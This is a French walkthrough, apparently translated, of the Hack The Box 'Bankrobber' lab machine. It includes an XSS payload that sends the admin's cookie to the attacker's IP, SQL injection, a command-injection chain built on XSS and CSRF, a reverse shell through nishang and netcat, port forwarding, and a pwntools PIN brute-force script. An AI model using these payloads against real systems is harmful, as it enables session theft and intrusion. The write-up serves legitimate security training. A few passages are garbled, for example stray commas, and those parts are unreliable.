Hack The Box. Procédure pas à pas Bankrobber. XSS, injection SQL, CSRF, redirection de port

image

Je continue de publier des solutions envoyées pour un traitement ultérieur à partir du site HackTheBox . J'espère que cela aidera au moins quelqu'un à se développer dans le domaine de la sécurité de l'information. Dans cet article, nous allons voler les cookies de l'administrateur du site via XSS, découvrir le code en utilisant l'injection SQL, obtenir le shell via le formulaire d'exécution de commande en utilisant XSS et CSRF, piquer le port depuis Windows et tordre le code PIN de l'application de transfert d'argent facile en utilisant pwntools.

La connexion au laboratoire se fait via VPN. Il est recommandé de ne pas se connecter à partir d'un ordinateur de travail ou d'un hôte où les données importantes pour vous sont disponibles, car vous vous retrouvez sur un réseau privé avec des personnes qui connaissent quelque chose dans le domaine de la sécurité de l'information :)

Information organisationnelle
Surtout pour ceux qui veulent apprendre quelque chose de nouveau et se développer dans l'un des domaines de l'information et de la sécurité informatique, j'écrirai et parlerai des catégories suivantes:

  • PWN;
  • cryptographie (Crypto);
  • technologies de réseau (réseau);
  • reverse (Reverse Engineering);
  • stéganographie (Stegano);
  • WEB-.

, , , .

, , Telegram . , , .

. , - , .

Recon


Cette machine a une adresse IP 10.10.10.154, que j'ajoute à / etc / hosts.

10.10.10.154	bankrobber.htb

Tout d'abord, nous analysons les ports ouverts. Puisqu'il faut beaucoup de temps pour analyser tous les ports avec nmap, je vais d'abord le faire avec masscan. Nous analysons tous les ports TCP et UDP à partir de l'interface tun0 à une vitesse de 500 paquets par seconde.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.154 --rate=500

image

Maintenant, pour des informations plus détaillées sur les services qui fonctionnent sur les ports, nous allons exécuter une analyse avec l'option -A.

nmap -A bankrobber.htb -p80,443,445,3306

image

L'hôte possède un serveur Web et SMB, et MySQL est également disponible. SMB et MySQL ne nous donnent rien, alors regardez le web.

image

Le site Web Bitcoin est présenté où nous pouvons nous inscrire.

image

Inscrivons-nous et connectons-nous. Nous recevons un formulaire de transfert de fonds.

image

Après avoir effectué une simple demande de test, nous recevons un message. Il indique que l'administrateur examinera notre demande de transaction et prendra une décision.

image

C'est un très gros indice de XSS. Essayons de voler le cookie d'administration. Tout d'abord, déployez le serveur HTTP local.

image

Nous exécutons maintenant la demande de transaction, en spécifiant la charge JS suivante en tant que message.
<script>new  Image().src="http://10.10.15.106/xss?param="%2bdocument.cookie;</script>

Ainsi, en essayant de télécharger une image, le script ira à cette adresse et comme paramètre nous enverra des cookies du compte sous lequel le script a été exécuté (dans ce cas, l'administrateur).

image

Il ressemble à base64. Nous décodons et obtenons le login et le mot de passe administrateur.

image

Connectez-vous en tant qu'administrateur et découvrez les nouveautés pour nous. En envoyant un devis dans le champ de recherche de l'utilisateur, nous obtenons une erreur - il y a une injection.

image

Un autre serveur demande la commande dir.

image

Mais seul localhost répond.

image

Revenons à l'injection SQL.

image

Nous déterminons le nombre de colonnes et lesquelles sont affichées.

image

Ainsi, les première et deuxième colonnes sont affichées.

UTILISATEUR


Après s'être un peu assis, nous ne trouvons rien d'intéressant. Passons au module backdoorchecker. Trouvez un événement qui répond à un clic de bouton.

image

Accédez à la console du navigateur et entrez le nom de la fonction.

image

Nous suivons le lien vers la fonction.

image

Et nous trouvons où va la demande. Grâce à l'injection, nous pouvons lire le fichier (la première fois que j'ai deviné le chemin xampp par défaut).

image

Ainsi, la commande sera exécutée si la sous-chaîne «dir» est présente dans la ligne. Cela nous permet d'envoyer une chaîne de commandes. Il reste à en traiter un, la demande doit provenir de localhost. Nous rappelons XSS et la fonction callSys (), que nous pouvons appeler pour envoyer une demande. Vérifiez notre hypothèse.

image

Puisque la commande est terminée, exécutons RCE à l'aide du script Invoke-PowerShellTcp du packagenishang .

image

RACINE


Tout d'abord, nous procédons à l'énumération de base du système. Pour cela, nous utilisons winPEAS .

image

De toutes les sorties, nous nous accrochons au port ouvert sur localhost 910.

image

Voyons ce qu'il y a dessus. Vous devez d'abord lancer le port. Parmi tous les programmes, la solution la plus pratique est le burin . Exécutez sur les hôtes locaux et distants.

image

image

Maintenant, connectez-vous et voyez ce qu'il y a.

image

Un code PIN à 4 chiffres est requis. Nous allons le régler.
#!/usr/bin/python3

def clear():
    sys.stdout.write("\033[F")
    sys.stdout.write("\033[K")

from pwn import *

for numb in range(10000):
    PIN = str(numb).rjust(4, '0')
    r = remote('127.0.0.1', 910)
    print("Find PIN: " + PIN, end="\r")
    clear()
    r.sendafter('[$] ', PIN+"\n")
    ans = r.recv()
    if b"Access denied" in ans:
        r.close()
        clear()
    else:
        print("[+] PIN found: " + PIN)
        print(str(ans, "utf-8"))
        break
    
r.interactive()


image

Nous trouvons le code PIN et nous sommes invités à saisir le montant de la transaction. Nous faisons cela et rien ne se passe.

image

Le montant est transféré vers un programme fonctionnant en tant qu'administrateur. Ne trouvant rien de plus, nous transférons comme somme une chaîne de 100 caractères.

image

image

Et nous voyons comment la ligne de lancement du programme a changé pour faire partie de notre ligne. Vérifions à partir de quel index cela s'est produit.

image

Ainsi, si nous passons une ligne avec le nom d'un autre programme, il sera exécuté. Allons vérifier.

image

image

image

Et l'hypothèse est vraie. Pour commencer, téléchargez netcat.

image

Et maintenant, faisons la connexion arrière.

image

image

Obtention des privilèges SYSTEM.

Vous pouvez nous rejoindre sur Telegram. Créons une communauté dans laquelle il y aura des gens qui connaissent bien de nombreux domaines de l'informatique, puis nous pourrons toujours nous entraider pour tout problème informatique et de sécurité de l'information.

All Articles